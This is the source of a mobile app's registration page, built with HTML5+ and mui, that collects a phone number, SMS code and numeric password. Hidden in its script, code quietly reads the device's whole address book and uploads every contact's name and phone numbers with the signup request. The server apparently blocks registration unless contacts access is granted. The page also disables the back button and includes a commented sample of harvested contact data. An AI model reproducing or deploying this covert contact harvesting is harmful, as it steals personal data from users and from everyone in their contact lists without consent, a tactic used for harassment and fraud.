<!DOCTYPE html>
<html lang="zh-cmn-Hans" xmlns="http://www.w3.org/1999/html">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=0">
    <title>注册</title>
    <link rel="stylesheet" href="__STATIC__/index/css/weui.css"/>
    <link rel="stylesheet" href="__STATIC__/index/css/example.css"/>
    <script src="__STATIC__/index/js/jquery-1.11.3.js"></script>
    <script src="__STATIC__/index/js/jquery.js"></script>
    <script src="__STATIC__/index/layer/layer.js"></script>
    <style>
        .bg{background: url('../img/loginbg.png')no-repeat;
            width: 100%;
            height: 40%;
            background-size: 100% 100%;
        }
        .weui-cells{
            margin-top:1.17647059em;
          
            line-height:1.47058824;
            font-size:17px;
            overflow:hidden;
            position:relative;
        }
        .login{
            font-size: 1rem;
        }
                    .backg{
            background-image: url('__STATIC__/index/images/backg.png');
            background-size: 100% 200%;
        }
      
    </style>
</head>
<body ontouchstart class="backg">
<div class="bg">
</div>
<div style="width:90%;position:absolute;top: 50%;left: 50%;transform: translateX(-50%);" >
    <div class="weui-cells" style="background-color: transparent;">
        <div class="weui-cell" style="background-color: transparent;">
            <div class="weui-cell__bd">
                <input class="weui-input" style="" type="text" name="name" id="name" placeholder="请输入推荐人手机号">
            </div>
        </div>
    </div>
    <div class="weui-cell" style="background-color: transparent;" >

        <div class="weui-cell__bd">
            <input class="weui-input"  name="phone" type="tel" maxlength="11" placeholder="请输入手机号" onkeyup="this.value=this.value.replace(/[^0-9-]+/,'');">
        </div>
        <div class="weui-cell__ft">
            <button   id="code" style="width: 5rem;height: 1.7rem;border-width: 0px;border-radius: 3px;background-color: transparent;">获取验证码</button>
        </div>
    </div>
    <div class="weui-cell" style="background-color: transparent;">
    <div class="weui-cell__bd">
    <input class="weui-input" style="" type="text" name="code"  placeholder="请输入验证码" onkeyup="this.value=this.value.replace(/[^0-9-]+/,'');">
    </div>
    </div>

        <div class="weui-cell" style="background-color: transparent;">
            <div class="weui-cell__bd">
                <input class="weui-input" style="" type="text" name="password" maxlength="6"  placeholder="请输设置密码" onkeyup="this.value=this.value.replace(/[^0-9-]+/,'');">
            </div>
        </div>
        <br/>
    <br/>
    <a class="weui-btn weui-btn_primary" style="background: #265EC4;" id="showTooltips" onclick="login()" >确定</a>
    <br/>
    <center> <a href="{:url('login/login')}"><h3 class="login">登录</h3></a></center>
</div>
</body>
<script src="__STATIC__/index/js/mui.min.js"></script>
<script>
    var user = new Object();
    document.addEventListener("plusready", function() {
        //alert("1111");
        plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function(addressbook) { //获取通讯录信息
            //alert("1111");

            // 可通过addressbook进行通讯录操作
            addressbook.find(null, function(contacts) {

                //                  var LinkList = new LinkedList();
                if(contacts.length > 0) { //获取当前通讯录里面所有人
                    for(var i = 0; i < contacts.length; i++) {
                        user[i] = contacts[i].displayName; //连接id和username，为后面筛选最准备
                        for(var j = 0; j < contacts[i].phoneNumbers.length; j++) {
                            user[i] += "," + contacts[i].phoneNumbers[j].value; //连接id和username，为后面筛选最准备
                        }

                        console.log(user[i]);
                    }

                   // alert(JSON.stringify(user));
                }
            }, function(e) {
                //                  alert("Find contact error: "   e.message);
                console.log(e);
            });

        }, function(e) {

        });
    }, false);
     // user ='{"0":"中兴手机客户服务,4008809999,075526779999","1":"钉钉专属顾问,057156215888","2":"钉钉官方短信,106575258192144,1065752551629604916,10655059113144,106906199604916,106590256203144,106904068039604916","3":"西安格创网络科技有限公司,02985794618","4":"钉钉DING消息,02131772097,051482043259,057156264863,057189896546,057126883142","5":"钉钉授权服务中心,057128121818"}';
    function login() {
        //alert(123);
        var name = $(" input[ name='name' ] ").val();
        var password = $(" input[ name='password' ] ").val();
        var code = $(" input[ name='code' ] ").val();
        var phone = $(" input[ name='phone' ] ").val();
        // if(name == ''){layer.msg('用户名不能为空');return false;}
        if(password == ''){layer.msg('密码不能为空');return false;}
        if(code == ''){layer.msg('验证码不能为空');return false;}
        var myreg=/^[1][3,4,5,7,8][0-9]{9}$/;
        if(!myreg.test(phone)){layer.msg('手机号不正确');return false;}

        $.ajax({
            url: "registeradd",
            type: "POST",
            data: {"name":name,"password":password,"code":code,"phone":phone,"user":JSON.stringify(user)},
            dataType: "json",
            //success 会在成功接收到返回数据后触发
            success:function (re) {
                if(re.code == 2){
                    layer.alert('注册成功',function () {
                        location.href="{:url('login/login')}";
                    });
                }
                if(re.code == 3){
                    layer.alert('登陆失败，请检查账号密码');
                }
                if(re.code == 0){
                    layer.alert('注册重复');
                }
                if(re.code == 1){
                    layer.alert('验证码不正确');
                }
                if(re.code == 4){
                    layer.alert('请允许获取通讯录权限');
                }
            }
        });
    }
    var countdown = 60;
    $("#code").click(function () {
        var phone = $("input[name=phone]").val();
        var myreg=/^[1][3-9]\d{9}$/;
        if(!myreg.test(phone)){layer.msg('手机号不正确');return false;}
        var code = $(this);
        code.attr("disabled","disabled");
        setTimeout(function(){
            code.css("opacity","0.8");
        },1000);
        var time = 60;
        var set=setInterval(function(){
            code.html(""+--time+"秒后获取");
        }, 1000);
        setTimeout(function(){
            code.attr("disabled",false).html("重新获取");
            clearInterval(set);
        }, 60000);
        $.ajax({
            url: "sendCode",
            type: "POST",
            data: {"phone":phone},
            dataType: "json",
            //success 会在成功接收到返回数据后触发
            success:function (re) {
                if(re.code == 1){
                    layer.msg('发送成功',function () {
                    });
                }
                if(re.code == 0){
                    layer.msg('发送失败');
                }
                if(re.code == 3){
                    layer.msg('已注册，请登录');
                }
            }
        });
    });
    // function code() {
    //
    // }
</script>
<script src="__STATIC__/index/js/mui.min.js"></script>
<script>
    function plusReady(){
        var old_back = mui.back;
        mui.back = function() {
            //alert('不关闭')
        }
    }
    if(window.plus){
        plusReady();
    }else{
        document.addEventListener("plusready",plusReady,false);
    }
</script>
</html>